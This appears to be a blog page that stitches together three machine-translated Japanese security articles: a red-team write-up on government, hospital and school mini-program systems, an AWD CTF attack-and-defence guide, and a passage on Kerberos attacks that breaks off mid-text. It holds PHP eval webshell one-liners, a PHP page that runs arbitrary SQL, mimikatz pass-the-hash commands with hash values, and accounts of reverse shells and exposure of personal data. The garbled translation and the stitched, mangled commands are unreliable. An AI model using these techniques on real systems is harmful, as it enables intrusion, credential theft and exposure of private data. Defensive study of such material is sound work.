Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108836

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

は、特定の場所でHVVを終了したばかりで、ミニプログラムは、低コストで使いやすい情報システムとして、HVVの新しいタイプの重要なブレークスルーターゲットになりました。次のケースはすべて、誰もが学ぶためのミニプログラムからのものです。

0x01ケース1特定の政府問題システム

1。弱いパスワードは背景

に入ります

ミニプログラムをクリックし、市民サービスを入力し、ミニプログラムドメイン名をキャッチし、管理者の背景に直接アクセスします。次のページはFastAdminフレームワークです。

image-20230804233808809

常に落とし穴がありました。ログインするとパスワードが無効です。あきらめたいときは、前の手順に戻ってログインしていることを思い出させてください。疑問に思います。システムがログインした後にトークンが更新されることがわかりました。これにより、前のトークンが次のログインに使用されます。そうしないと、パスワードが無効になります。したがって、ネットワークまたはシステム自体に遅延があり、その結果、ログイン操作が正しいトークンで正常に使用されないようになります。この問題を発見したとき、私はadmin/123456によって背景にログインしました。

image-20230804233928487

約20,000の市民情報と数百の管理者アカウントが含まれており、すべての管理者アカウントのアカウント名とパスワードはAdmin/123456です。県レベルの都市HVVのケース4システムに似ています|コレクションへの不正アクセス。 (くそ)

image-20230804234620409

2。 SQL注入はどこにでもあります

フロントエンドのビジネスオフィスには、次のパッケージがあります。デバッグは閉じられておらず、データベースアカウント名とパスワードが公開されます。このSQL注入はあまりにも明白ですが、現時点ではデータベースアカウントの秘密の喜びにあり、SQL注入をしませんでした。ただし、このデータベースは外部ではなく、ローカルでのみ接続することができますが、非常に迷惑です。

image-20230804234900245

image-20230804235223957

管理者をバックグラウンドで表示するときに、遅延インジェクションが存在します

image-20230804235333429

image-20230804235520250

3。コマンドの実行は、サーバーとデータベースを削除します

FastAdminであるため、シェルを取得するには多くの方法があります。今回は、オンラインコマンドプラグインの脆弱性を使用して、1.1.0でのみ利用可能なPHP WebShellに書き込みます。

ただし、このシステムは2人で開いており、プラグイン用の場所はまったくありません。オンラインでプラグインのスプライシングページを検索しました。

ディレクトリは: /addon?ref=addtabsです

プラグインのディレクトリは /addon /command?ref=addtabsである必要がありますが、ページは存在しません。ルートが設定されていないと思ったので、チームメイトがプラグインを直接コマンドする記事、つまりディレクトリは /コマンドですか?ref=addtabsを見つけるまで、これを禁止しました。

image-20230805000548485

クリックしてAPIドキュメントを1回クリックして生成します。ファイルはPHPで、タイトルはトロイの木馬として書かれています。 Ice Scorpion Horseのみがそれをテストできます。以前にも同様のケースがありました。

image-20230805000747580

トロイの木馬をうまく接続します

image-20230805000951036

マレーシアのNCを循環させて電力を増やすことにより、シェルはクラウドサーバーにリバウンドされ、ルート許可を取得します。

image-20230805001343057

マレーシアは、SQLステートメントを実行するときにエラーと文字化けコードを報告します。

データベースアカウントのパスワードをまだ覚えています。 SQL実行ページのPHPファイルを自分で記述することにより、データベースに接続しました。データベースの権限を取得したことを証明します。

image-20230805001445813

コードは次のとおりです。

HTML

タイトルはMySQLステートメント/タイトルを実行します

/頭

H1EXECUTE MYSQLステートメント/H1

form method='post' action=''

textarea name='sql_statement' rows='5' cols='50 'プレースホルダー=' mysqlステートメント '/textareaを入力してください

br

入力タイプ='送信'値='実行'

/形状

?php

//フォームが送信されたかどうかを確認します

if($ _server ['request_method']==='post'){

//ユーザーが入力したMySQLステートメントを取得します

$ sql_statement=$ _post ['sql_statement'];

//mysqlデータベースに接続します

$ host='localhost';

$ username='';

$ password='';

$ database='';

$ connection=mysqli_connect($ host、$ username、$ password、$ database);

//mysqlクエリを実行します

$ result=mysqli_query($ connection、$ sql_statement);

//クエリの結果を確認します

if($ result){

//クエリの結果をエコーします

Echo 'H2クエリ結果: /h2';

while($ row=mysqli_fetch_assoc($ result)){

エコー '';

print_r($ row);

エコー '';

}

} それ以外{

//エラーメッセージを表示します

Echo 'H2エラー: /H2';

エコー「P」。 mysqli_error($ connection)。 '/p';

}

//データベース接続を閉じます

mysqli_close($ connection);

}

/体

/HTML

0x02ケース2郡病院データベース

1.SQLインジェクションにはDBA

が必要です

病院のSQL注入は公開口座登録にあります。ログインすると、登録レコードをクリックして、患者IDでパッケージをキャッチしました。

image-20230805001938526

単一の引用、エラー順序を追加しました

image-20230805002523985

SQLMapで直接実行できないことがわかりましたが、注射は存在します。 ASP.NETフレームワークを発見することは、相手のシステムがWindowsであることを意味します。

image-20230805002955771

それぞれデータベースMySQL、Oracle、およびMSSQLを指定します。最後に、注入はMSSQL中になくなり、DBA許可です。

image-20230805003357942

xp_cmdshellはコマンドを実行できると思いましたが、残念ながらこれは彼です。私は保護を受けました、そして、私はそれをどのようにセットアップしてもコマンドを実行することができないので、私はターゲットの変更をあきらめました。

0x03ケース3中学校の訪問者システム

1。不正 +情報漏れ

ミニプログラムを開き、パッケージをキャッチし、インタビュー対象者のすべての情報を直接キャプチャします。 1つのインターフェイスはアクセスする権限がありません。

image-20230805003829804

ログインする前のこのようなものなので、ログインすることをお勧めします。

ログインして、アクセスアプリケーションimage-20230805004820411を追加しました

アクセスアプリケーションレコードを表示するときにパッケージをキャッチします

image-20230805004432163

次のリンクをつかみます:app/visitor/getvisitorinfo?viid=1。数百の訪問者情報と訪問者の記録をトラバースすることで入手できます。それは並行して並行していると考えられており、最後に、アクセスが許可されていないことさえ、検証する許可がないことがわかりました。

image-20230805004401655

0x04ケース4見逃した

このケースは非常に面白いです。私はミニプログラムを探していました。 1つの単語で小さなプログラムを表示しました。注意深く見ずに入力し始めました。郡の病院でもあります。

これは、流行中に核酸試験の予約のために特別に作成されたミニプログラムである必要があります。

1。並列オーバーリーチ +情報漏れ

image-20230805005119179

ログインするときにIDカード名が一致しない場合、検証に合格することはできません。つまり、内部のIDカード情報はすべて現実です。ログインすると、ユーザーIDを使用して機能を探すことに慣れていて、医療訪問者リストをクリックしてパケットをキャッチします。

image-20230805005822924

電話、ID、名前、性別を見つけました

image-20230805010022930

IDを変更して、他の人の情報を表示します。

2。並列オーバーライドSQL注入

習慣的に単一の引用符を追加し、エラーを直接報告します。ページにはSQLエラーが表示されます。これは対応するものではありませんか? EDU-SQLインジェクションケースは、最後の要約を共有しています。 SQL注入が並列オーバーステップで存在する可能性が高いです。しかし、私は間違いを犯し、許可を持っていなかったので、私は停止してあきらめ、将来の修正のためにプラットフォームに引き渡しました。

image-20230805010332476

オリジナルリンク:https://forum.butian.net/share/2400

0#awd

とは何か

0.1#AWD競争システムの紹介

「時折の防御モード| AWD(防衛での攻撃)」は、CTFコンペティションのいくつかの主要なゲームモードの1つです。

このモードでは、各チームには、通常、セキュリティの脆弱性を含む特定のサービスまたはアプリケーションを実行するのと同じ初期環境(GameBoxと呼ばれます)を持っています。参加チームは、ポイントを取得するためにフラグを取得するために、相手のチームのサービスのセキュリティの脆弱性を活用する必要があります。同時に、参加チームは、他のチームによって攻撃されて獲得されるのを防ぐために、彼らに対して防御するために独自のサービスの脆弱性にパッチを当てる必要があります。

主な特徴は、実用性、現実のタイミング、対立を強調し、競争チームの浸透と保護能力を包括的に考慮することです。

0.2#競合の全体的なプロセス

試合前の準備セッション:通常、SSHまたはVNCユーザー名とパスワードに割り当てられた複数のターゲットサーバー、および関連するIPおよびその他の情報を割り当てます

セキュリティ補強リンク:ターゲットマシンサーバーに自分でログインし、30分間のセキュリティ強化を実行する必要があります(ソースコードのバックアップ/弱いパスワードの変更/コード監査と修理/脆弱性の修理など)

無料攻撃リンク:セキュリティ強化時間が経過した後、無料攻撃リンクが開始されます。他のチームのターゲットサーバー(弱いパスワード/Web脆弱性/システムの脆弱性など)を攻撃して追加ポイントを獲得し、対応するチームはポイントを失います。

1#競争環境

通常、競争環境には3つの状況があります。

ハイブリッドターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows 7+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04

純粋なLinuxターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04

純粋なWindowsターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows7

2#セキュリティ補強プロセス(防衛)

2.0#基本補強プロセス

2.0.1 Windows補強プロセス

バックアップファースト:Webソースコード、データベース

445強化、ファイアウォールまたはIP高度なセキュリティポリシーを有効にします

システムログ監査機能をオンにします

ゲストアカウントを無効にし、ファイル共有を閉じます

スタートアップアイテムのコンテンツが制御可能であることを確認してください

リモートアクセスコントロールへの接続の数を制限する:ローカルグループポリシーエディターでは、コンピューター構成- 管理テンプレートウィンドウコンポーネントリモットデスクトップサービスリモートデスクトップセッションホストコネクションリミット接続の数を拡大します

ツールを使用して、キーディレクトリファイル:ファイル操作監視、exe、yujian file monitoring.exeを監視します。

PchunterとMonitorを介して検索された悪意のあるコードファイル

Webディレクトリ環境で関連する疑わしいファイルの検索:JPG/PNG/RAR、属性の表示、解凍、ファイルの内容の表示

NTFSはディスクをスキャンして、隠された交換フローデータを見つけます

システム内のすべてのアカウント情報を見つけ、非管理者アカウントを禁止します。

Webサイト管理者のアクセスパス、デフォルトのパスワード、およびデータベースパスワードを変更する

WAFスクリプトをインストールしてWebサイトを保護し、他の脆弱性を禁止します

2.0.2 Linux補強プロセス

バックアップ最初:Webソースコード、データベース

システムパスワード、統一されたチームパスワードを変更します

.bash_historyを介して履歴コマンドを検索し、痕跡を見つけます

スケジュールされたタスクを表示:Crontab -L;スケジュールされたタスクの編集:Crontab -E

/etc/init.d/rc.localのスタートアップサービスに例外があるかどうかを確認してください

スクリプトを使用して、プロセスの監視、ディレクトリ監視、トラフィック監視を可能にします

Webサイトのパスワード、サイト管理者パスの変更

システム強化:IPTABLE

2.1#基本情報コレクション

防御する場合、情報収集も非常に重要です。 sayingにあるように、「あなた自身とあなたの敵を知ってください、あなたは100の戦いで決して敗北することはありません。」

2.1.1 Linuxマシン情報を明確にする

UNAME -A //システム情報

ps -aux //クエリプロセス情報

ps -ef | GREPプロセス名//指定されたプロセスをフィルタリングします

ID //ユーザーIDとグループIDを表示するために使用されます

cat /etc /passwd //ユーザーの状況を表示します

LS/HOME///ユーザーの状況を確認してください

/-type d -perm -002 //書き込み可能なディレクトリチェックを見つけます

ifconfig //Linuxでネットワークカード情報を表示します

2.1.2 Windowsマシン情報を明確にする

hoami /all //Windowsでユーザーの詳細を表示します

ipconfig /all //Windowsでネットワークカード情報を表示します

2.1.3オープンポートを表示

Netstat //アクティブ接続を表示します

netstat -ano/-a //ポートステータスを確認します

netstat -Anp //ポートを表示します

Firewall-CMD -Zone=public - remove-port=80/tcp –permanent //ポートを閉じます

ファイアウォール-CMD –RELOAD //ファイアウォールを再起動します

2.1.4デフォルトのパスワード(弱いパスワード)変更

弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトパスワード123456

他のデフォルトのパスワード管理者、TOP100、TOP1000などがあります。

特に、WebアプリケーションPassWDユーザー名のバックグラウンドパスワードの変更//SSHパスワードの変更

mycms@localhost=password( '18ciweufhi28746')のパスワードを設定します。 //mysqlパスワードの変更

find/var/www/html -path '*config*' //構成ファイルでパスワード資格情報を見つける

2.1.5ローカルフラグを見つけます

GREP -R 'Flag'/var/www/html ///Linux:Webディレクトリでフラグを見つける

findstr /s /i 'flag' *

2.1.6 Ping無効の設定

echo '1'/proc/sys/net/ipv4/icmp_echo_ignore_all //一時的にping禁止を有効にします

echo '0'/proc/sys/net/ipv4/icmp_echo_ignore_all //ping禁止を閉じます

2.2#Webセキュリティ強化

2.2.1バックアップソースコード

ソースコードを変更する際の問題を防ぐ、または攻撃された当事者がソースコードを削除して準備する

圧縮ソースコード:

TAR -CVF Web.tar/var/www/html

zip -q -r web.zip/var/www/html

ソースコードを解凍します:

tar -xvf web.tar -c/var/www/html

unzip web.zip -d/var/www/html

バックアップソースコード:

MV web.tar /tmp

MV web.zip /home /xxx

ソースコードをアップロードしてダウンロードします:

scp username@servername:/path/filename/tmp/local_destination //サーバーからローカルに単一のファイルをダウンロード

scp/path/local_filename username@servername:/path //ローカルからサーバーへの単一のファイルから

scp -r username@servername:remote_dir//tmp/local_dir //ディレクトリ全体をサーバーからローカルにダウンロードする

scp -r /tmp /local_dir username@servername3360remote_dir //ディレクトリ全体をローカルからサーバーにアップロードします

2.2.2読み取り専用権限を設定

Webファイルの読み取り専用および実行権限を設定します(PHPなどの動的言語には実行権限が必要です)

chmod 0555/var/www/html/*

Chmod 0555 /var/www/html/*.php

Webルートディレクトリで読み取り専用および実行権限を設定します

Chmod 0555/var/www/html

ファイルの所有者とグループを変更して、厳密なアクセス許可を設定します

chown -r root:root/var/www/html///所有者をroot:rootまたはhttpd:httpd(推奨)として設定します

chown -r apache:apache/var/www/html///apacheが/var/www/htmlを持っていることを確認してください

2.2.3構成.htaccess

PHPファイルの実行を禁止するために.htaccess構成ファイルを使用します

ディレクトリ '/var/www/html/upload' //指定されたディレクトリの後続の指示がディレクトリに適用されます

Options -EXECCGI -INDEXES //CGI実行およびディレクトリインデックス(ディスプレイディレクトリコンテンツリスト)ディレクトリの関数は無効です。

AllowOverrideなし//.htaccessファイルを使用してこのディレクトリのサーバーの構成を上書きすることができません。

removehandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml

RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml

//これらの2つの命令指定されたファイル拡張子のプロセッサとタイプを削除します。

//この場合、これらのディレクティブは、Apacheの処理リストからPHP関連の拡張機能とサーバー側インクルージョン(SSI)ファイルタイプを削除します。

PHP_FLAGエンジンオフ//このディレクティブは、PHPエンジンフラグ(エンジン)をオフに設定するため、このディレクトリでPHPスクリプトを実行する機能を無効にします。

filesmatch '。+\。ph(p [3457]?| t | tml)$'

すべてから否定します

/filesmatch //これらの3行のコマンドは、正規表現を使用して、php、phpp、php3、pht、php4、php5、php7、shtmlで終了するファイルを一致させ、アクセス許可を設定してすべてを拒否します

/ディレクトリ

2.2.4 PHPパラメーターセキュリティ構成

最初にPHP構成ファイルを見つけます

/etc/php/{version }/php.ini

高リスク関数を無効にします

disable_functions=dl、exec、system、passthru、popen、proc_open、pcntl_exec、shell_exec、mail、imap_open、imap_mail、putenv、ini_set、apache_setenv、symlink、link

Open_basedirを構成します(指定された領域にユーザーアクセスファイルのアクティビティ範囲を制限します)

open_basedir=/var/www/html

魔法の引用を無効にする(SQL注入を防ぐために外部ソースデータを自動的に逃がす)

MAGIC_QUOTES_GPC=OFF

PHP擬似プロトコルを閉じます

Allow_url_fopen=off

Allow_url_include=off

PHPを再起動します

sudoサービスphp7.0-fpm再起動

sudo systemctl再起動php7.0-fpm.service

2.3#データベースセキュリティ補強

2.3.1 mysql補強

弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトのパスワード123456

デフォルトのパスワードを使用しないで、それを複雑に変更し、Web環境との接続を確認しないでください

設定ローカル127.0.0.1アカウントログインのみを許可します:bind-address=127.0.0.1を変更します。 secure_file_priv=nullを構成ファイルに追加します

ログ監査機能をオンにします:general_log_file=path

MySQLデータベースが最も一般的に使用されているため、基本的な攻撃と防御のほとんどはMySQLデータベースコマンドの使用に使用されます

指定されたデータベースをバックアップします:

mysqldump –u username –pパスワードdatabasename target.sql

すべてのデータベースをバックアップします:

mysqldump –All -database all.sql

データベースをインポートします。

mysql –u username –pパスワードデータベースfrom.sql

mysqlの攻撃と防御については、この記事を読むことができます:https://blog.zgsec.cn/archives/26.html

mysqlデフォルト構成ファイルパス:

c: \\プログラムファイル\ mysql \ mysqlserver 5.1 \ my.ini //windows

/etc/my.cnf //linux

/etc/mysql/my.cnf //linux

secure_file_privパラメーター(ログ関数の対応するディレクトリ)を変更する

secure_file_priv=''

MySQL構成を過負荷

フラッシュ特権

MySQLサービスを再起動します

sudoサービスmysql再起動

sudo systemctlはmysqlを再起動します

2.3.2 mssql補強

不要なアカウントを削除します

SQLServerユーザーパスワードセキュリティ

ユーザーによると、アカウント共有は避けてください

データベースユーザーに必要な最小許可を割り当てます

ネットワークアクセス制限

SQLServerログイン監査

SQLServerセキュリティインシデント監査

ロギング関数を構成します

2.4#リモートコントロール補強

2.4.1 SSH安全補強

IPログインを制限する方法

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

Allowusers username@192.168.0.100 //次の行を見つけて編集して、希望のIPアドレスに設定されていることを確認します

ルートリモートログインを無効にします

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

permitrootlogin no //permitrootlogiを「いいえ」に設定します

ユーザーとグループごとにSSHログインを制限します

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

Allowusers testuser //SET TestuserはSSHにログインできるようにします

Allowusers testuser@192.168.1.100 //セットでは、192.168.1.100マシンのみがTestuserアカウントでSSHにログインできます

Groups Testを許可//ユーザーグループホワイトリストを設定します

//AllowusersとAllowgroupが同時に指定されている場合、両方のオプションと一致するユーザーがSSHログインでなければならないことに注意する必要があります。

SSHサービスを再起動します

Sudo Service sshd Restart

Sudo SystemCtl Restart Sshd.Service

2.4.2 RDPリモートログインセキュリティ補強材

デフォルトのアカウントを削除し、新しいユーザーを手動で追加します。

ステップ1:Win + Rを押して[実行]ダイアログボックスを開き、secpol.mscを入力して[OK]をクリックします

ステップ2:これに移動します:ローカルポリシーユーザー許可割り当ての割り当て、次にダブルクリックして「リモートデスクトップサービスを介してログインを許可」を開きます

ステップ3:このウィンドウにリストされている管理者とリモートデスクトップユーザー(またはコンピューター上の他のユーザーまたはグループ)を削除する

ステップ4:その後、「ユーザーまたはグループの追加」をクリックし、リモートデスクトップアクセスを許可するユーザーを手動で追加します。

デフォルトのRDPポート番号を変更します:

ステップ1:[実行]ダイアログボックスを開き、Regeditを入力して[OK]をクリックします

ステップ2:hkey_local_machine \ system \ currentControlset \ control \ターミナルサーバー\ winstations \ rdp-tcpを開き、下にスクロールしてportnumberを見つけてダブルクリックします

ステップ3:「小数」を選択し、設定するポート番号を変更し、[OK]をクリックします。

2.5#緊急対応

2.5.1クエリプロセススレッド

Netstat

ps -aux

netstat -apt

2.5.2プロセスを殺します

Kill -9 PID //Linuxで

Windows上のtaskkill /f /pid pid //

2.5.3 WebShellファイルを検索

Find/var/www/html -name *.php -mmin -5 //過去5分間に変更されたファイルを表示

./-name '*.php' |を見つけますxargs wc -l | sort -u //最短の行のファイルを見つけます。これは一般的にトロイの木馬です

grep -r -include=*。php '[^a -z] eval($ _ post'/var/www/html //キーワードを含むphpファイルを確認する

find/var/www/html -type f -name '*.php' | xargs grep 'eval(' | more //Linuxシステムでは、Find、Grep、Xargsコマンドの組み合わせを使用して、指定されたディレクトリ(/var/www/html)で.php拡張機能を持つすべてのファイルを見つけ、文字列'' eval( '' inこれらのファイルで 'evalを検索し、結果をパージに表示したときの結果をpagineしているときにパージーのパージをpagingで実行します。

2.5.4馬を殺すためにチェック

コマンドを使用して自動的に検索して削除することもできます

ps -aux | grep www-data | grep -v grep | awk '{print $ 2}' | Xargs Kill -9

次に、サービスを再起動します

サービスPHP-FPM再起動

2.5.5リバウンドシェルを殺します

プロセスを表示する古いルール

PS -EF

Px -aux

ps -aux | grep www-data

www-data pormissions /bin /shはNCである可能性が高いことに注意してください

それから古い注文があります

ps -auxを殺す| grep www-data | grep apache2 | awk '{$ 2を印刷}'

3#無料攻撃(攻撃)

3.0#メインコンテンツ

さまざまなCMSソフトウェアパッケージの最新バージョンが準備されています

スキャンツール:NMAP、Nessus、Metasploitの更新

Scripts POC、Exp

3.1#基本情報コレクション

3.1.1ホスト情報コレクション

NMAP

NAMP -SN 192.168.0.0/24 //セグメントCサバイバルスキャン

httpscan

httpscan.py 192.168.0.0/24 –T 10 //Cセグメントサバイバルスキャン

3.1.2ポートスキャン

NMAP -SV 192.168.0.2 //ホストシステムバージョンをスキャンします

NMAP -SS 192.168.0.2 //ホストの一般的に使用されるポートをスキャン

NMAP -SS -P 80,445 192.168.0.2 //ポートのホスト部分をスキャン

NMAP -SS -P- 192.168.0.2 //ホストのすべてのポートをスキャン

Pythonスクリプト

リクエストをインポートします

範囲のxの場合(2,255):

url='http://192.168.1。{}'。フォーマット(x)

try:

r=requests.post(url)

印刷(url)

:を除く

合格

3.2#外部管理

3.2.0共通システムの脆弱性

MS17-010(Eternal Blue、https://Blog.zgsec.cn/archives/172.htmlを参照)

MySQLはUDFエスカレーション(SQLインジェクションまたはMySQL弱いパスワード)を実行します

MSSQLはシステムコマンド実行(SQLインジェクションまたはMSSQL弱いパスワード)を実行します

SSH弱いパスワードまたはデフォルトのパスワード

PWN(これはAWDコンペティションによって提供される特定のコンテンツに依存します)

3.2.1ミドルウェアの脆弱性

IIS(脆弱性の解決、リモートコードの実行)

Apache(脆弱性を解析)

nginx(脆弱性の解析)

JBoss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)

mysql(弱いパスワード)

Tomcat(弱いパスワードのGetShell)

WebLogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)

Springboot(不正アクセスの脆弱性とRCEの脆弱性、https://Blog.zgsec.cn/archives/129.htmlを参照してください)

3.2.2統合サービス環境における脆弱性

WampServer

XampServer

3.2.3 cmsの脆弱性エクスプロイト

CMSの最新バージョンと、対応する脆弱性POCとEXPを収集します。ここでは、CMSの一部のみがリストされています。

ASPCMS

DEDECMS

dicuz

Drupal

empirecms

eshop

FINECMS

Joomla

ランプ

Metainfo

phpcms

phpwind

qibocms

SEACM

semcms

thinkphp

wolfcms

WordPress

Zabbix

バックアップファイルブラスト:7kbscanなどのディレクトリスキャンツールを使用して、Webシステムを爆破する

3.2.4 WebShellのアップロード

トロイの木馬についての一般的なことわざ

php:php @eval($ _ post ['pass']);php eval($ _ get ['pass']);

ASP:%eval request( 'pass')%

aspx:%@ page言語='jscript

Kerberos認定プロセス

序文

この記事では、主にドメインでのKerberos認定に関する最近学んだ攻撃方法の一部を共有しています。それは主に自己理解に焦点を当てており、原則の理解から基本的なツール利用に至るまで、それを説明します。個人的な理解と分析は比較的長続きします。長すぎると思われる場合は、ジャンプして見ることができます。私を許してください。エラーがある場合は、修正を行うようにマスターに依頼してください

Kerberos認証プロセスは単純な説明であり、PAC、S4U2Self(委任)、S4U2Proxy(委任)など、説明されていない多くの詳細があります。

この記事の主な環境はvulnStack、Hongri射撃場です

ドメインコントロールOWA WIN2008R2 192.168.52.138ドメインホストSUT1 WIN7 192.168.52.130ドメイン外ホストK0UAZ Win7(ドメインコントロールにアクセス可能)192.168.52.162 KDCと呼ばれるキーディストリビューションセンターは、ASおよびTGSAuthentication Service Authentication Servicesを含むデフォルトでドメインコントロールにインストールされます。ASと呼ばれる、KDC認証チケット付与サービスチケット助成サービスに使用されます。TGSと呼ばれます。クライアントクライアントはユーザーを参照します。サーバー側は、コンピューターアカウントまたはサービスです。

プロセスと原則

gygfx4fdax42797.png

上記の図には、クライアントとKDCの時点で、クライアントとKDCのTG、クライアントとサーバーの3つのリクエスト返品プロセスが含まれます。詳細なリクエスト応答は次のとおりです

AS-REQ:クライアントはKDC(AS)への認証要求を開始します。要求された資格情報は、クライアントのNTLMハッシュによって暗号化されたタイムスタンプと、その他のID情報です。 AS-REP:AS ASは、復号化にクライアントNTLMハッシュを使用します。検証が正しい場合は、KRBTGTハッシュで暗号化されたTGTチケットを返します(これはTGS-REQのTGSに送信され、STと交換に使用されます)。 TGTにはPACTGS-REQが含まれています:クライアントはTGTキャッシュをローカルで取得し(復号化できません)、STチケットをTGSと交換するために、対応するサービスTGS-REPにアクセスできます。結果が正しい場合は、サービスを提供するサーバーのサーバーハッシュ(マシンユーザーハッシュ)によって暗号化されたST(サーバー)を返します。チケット)AP_REQ:クライアントは、取得したSTをサーバーに持ち込み、リソースAP_REPを要求します:サーバーは独自のハッシュを使用してSTを復号化します。復号化が正しい場合は、取得したPACを使用してKDCにアクセスして、クライアントがアクセス許可を持っているかどうかを判断します。 PACを復号化した後、KDCはユーザーSIDとグループの情報を取得し、Access Control Table(ACL)に基づいて裁判官の許可が取得されます。それが満たされている場合、サーバーはリソースをクライアント

Kerberos関連のセキュリティ問題

图片来自dariker师傅的文章に返します

キー(ハッシュ)

を渡します

ハッシュ

を渡します

パスハッシュは、NTLM認証とKerberos認証にも適しています。ドメインの外側だけでなく、ドメイン内でも使用できます。 Kerberos Authenticationでは、AS-Reqがクライアントハッシュ暗号化関連情報を介して送信されます。したがって、クライアントのNTLMハッシュを取得すると、ハッシュを通過すると他のホストへのアクセス許可を水平に取得できます。

使用

ここでは、ドメインパイプNTLMハッシュiiksmn4de3w2799.pngが取得され、特定のドメインマシンにログインされると仮定します。

PTHの次のツール

Mimikatzを使用して、資格情報をLSASSに注入するために必要であるため、Sedebugを有効にするにはローカル管理者の権利(bypassuac)が必要です。インジェクション後、このユーザー資格情報を使用して、WMICEXEC(PYまたはEXEの両方)からPTHを使用してドメイン内のホストにアクセスできます。管理者の権利は必要ありません。 CMEを使用してPTHなどをバッチバッチするコマンドの直接リモート実行に適しています。ここでは、Mimikatzは例として使用されます。ハックユーザー(STU1のローカル管理者グループのメンバー、ドメインユーザー)

ドメインコントロール共有ディレクトリにアクセスする許可なし0sj1kl3juhx2800.png

資格情報を注入した後のMimikatz Mimikatz 'Privilege:3:Debug' 'sekurlsa:pth /user:a /domain:god.org /rc43:b44444189f93621A rtnn12kkt4u2801.png

キーを渡します

ミミカッツ情報のヒント

NTLMハッシュは、XP/2003/VISTA/2008および2008R2/8/2012 KB2871997(AESが利用できないか交換可能)で必須です。 AESキーは、8.1/2012R2または7/2008R2/8/2012でKB2871997でのみ置き換えることができます。この場合、NTLMハッシュを避けることができます。

キーはドメインでのみ使用できます。 AES暗号化をサポートするバージョンには、KB2871997パッチがインストールされたWin8.1/2012R2またはWin7/2008r2/8/2012が含まれます

使用

AESキーodj1o4mogdw2802.pngを取得します

次に、sekurlsa:3360pthモジュールmimikatz 'privilege:3360debug' 'sekurlsa:pth /user:administrator /domain:god.orgを使用します/AES256:BF723755BC5F72A377BDA41CA58FD925DF7EE45DF9A026AC5CD3201020202E33 '1y3ezs2lbxv2803.png

Win7ホストにパッチが適用されないため、パスは自然に失敗します。実用的な環境では、PTHがRC4暗号化をサポートしていない場合、保護されたユーザーグループにある可能性があります。この時点で、AES128およびAES256暗号化をPTKに試すことができます

リモートデスクトップ(制限付き管理モード)でハッシュを渡します

2014年、MicrosoftはKB2871997パッチをリリースしました。これは、主にWindows 8.1およびWindows Server 2012 R2の強化されたセキュリティ保護メカニズムをカバーしています。したがって、Windows 7、Windows 8、Windows Server 2008R2、Windows Server 2012などの過去には、このパッチを更新して、上記のセキュリティ保護メカニズムを取得することもできます。

——3——3————335433333333333————————3354 ——3——3————335433333333333————————3354

制限付き管理者RDPモードリモートデスクトップクライアントサポート:

この更新の前に、RDPログインは、ユーザーがユーザー名とパスワードを提供した後にのみアクセス可能なインタラクティブログインでした。この方法でRDPホストにログインすると、ユーザーの資格情報がRDPホストのメモリに配置され、ホストが脅かされている場合、盗まれる可能性があります。このアップデートにより、RDPはネットワークログインをサポートできます。ここでは、ユーザーの既存のログイントークンの認証をRDPアクセスのために渡すことができます。このログインタイプを使用して、ユーザーの資格情報がRDPサーバーに保存されていないことを確認します。したがって、資格情報を保護します

上記の説明を通して、このモードはRDPを使用してログインしたユーザーの資格情報を保護することであることを理解できます。ネットワーク検証のログイン方法により、RDPサーバーはユーザーの資格情報を保存しません。

使用

Win8.1およびWin2012R2以上の制限された管理モードモードをサポートすると、Win8.1およびWin2012R2がデフォルトで有効になっています。

条件:クライアントは制限付き管理モードモードをサポートし、サーバーは制限付き管理モードモードを有効にします

Win2012R2が手元にないため、ここでは2つのWindows10がリモートデスクトップでハッシュを渡すために使用されます

最初にNTLMハッシュxcnb52eps132804.pngを取得します

Mimikatzを使用してNTLM Hash(Privilege:3:Debugを最初に挿入してデバッグ許可を有効にします。Sekurlsa3:3:pth /usekurlsa3:3:pth /user:administrator /domain:192.168.226.137 /NTLM:9C3767903480E04C089090D27123EAF9 '/RUN:MSTSC.EXE /RECTINTEDADMIN'

/ドメインコンピューター名またはIPを指定します

ここebf2sj3w4ik2805.pngでは、常に資格情報を必要とすることを選択しないでください

制限付き管理モードd4fjkluzezp2806.png

レジストリを介して開きます(0がオン、1はオフ、完全な管理者の特権が必要です)、そしてRDP接続が再度実行されます 'hklm \ system \ currentControlset \ control \ lsa' /v無効化

リモートホストで制限付き管理モードが有効になった後、RDP接続はh0zqvqmj3pv2807.pngに成功しました

ハッシュがメモリyddty01oujy2808.pngに注入されているのを見ることができます

次に、管理者アカウントK0UAZを使用したため、リモートデスクトップを使用してハッシュをパスするには、ターゲットのローカル管理者許可のみが必要です。

ただし、リモートデスクトップユーザーに参加するだけで、Administratrosグループに参加していない場合、このメカニズムは制限された管理者向けであるため、成功しません。

as-repロースト

原理

AS_REPで、KDCはユーザーNTLMハッシュによって暗号化されたセッションキーを返します(セッションキーは、クライアントとTGS間の通信のセキュリティを確保するために使用されます)mwinmgcbmap2809.png

RC4_HMAC暗号化モードでは、同じ暗号化プロセスを使用してプレーンテキストパスワードを暗号化し、暗号化の結果を比較して、ciphertextが同じかどうかを評価してブラスト結果を決定できます。

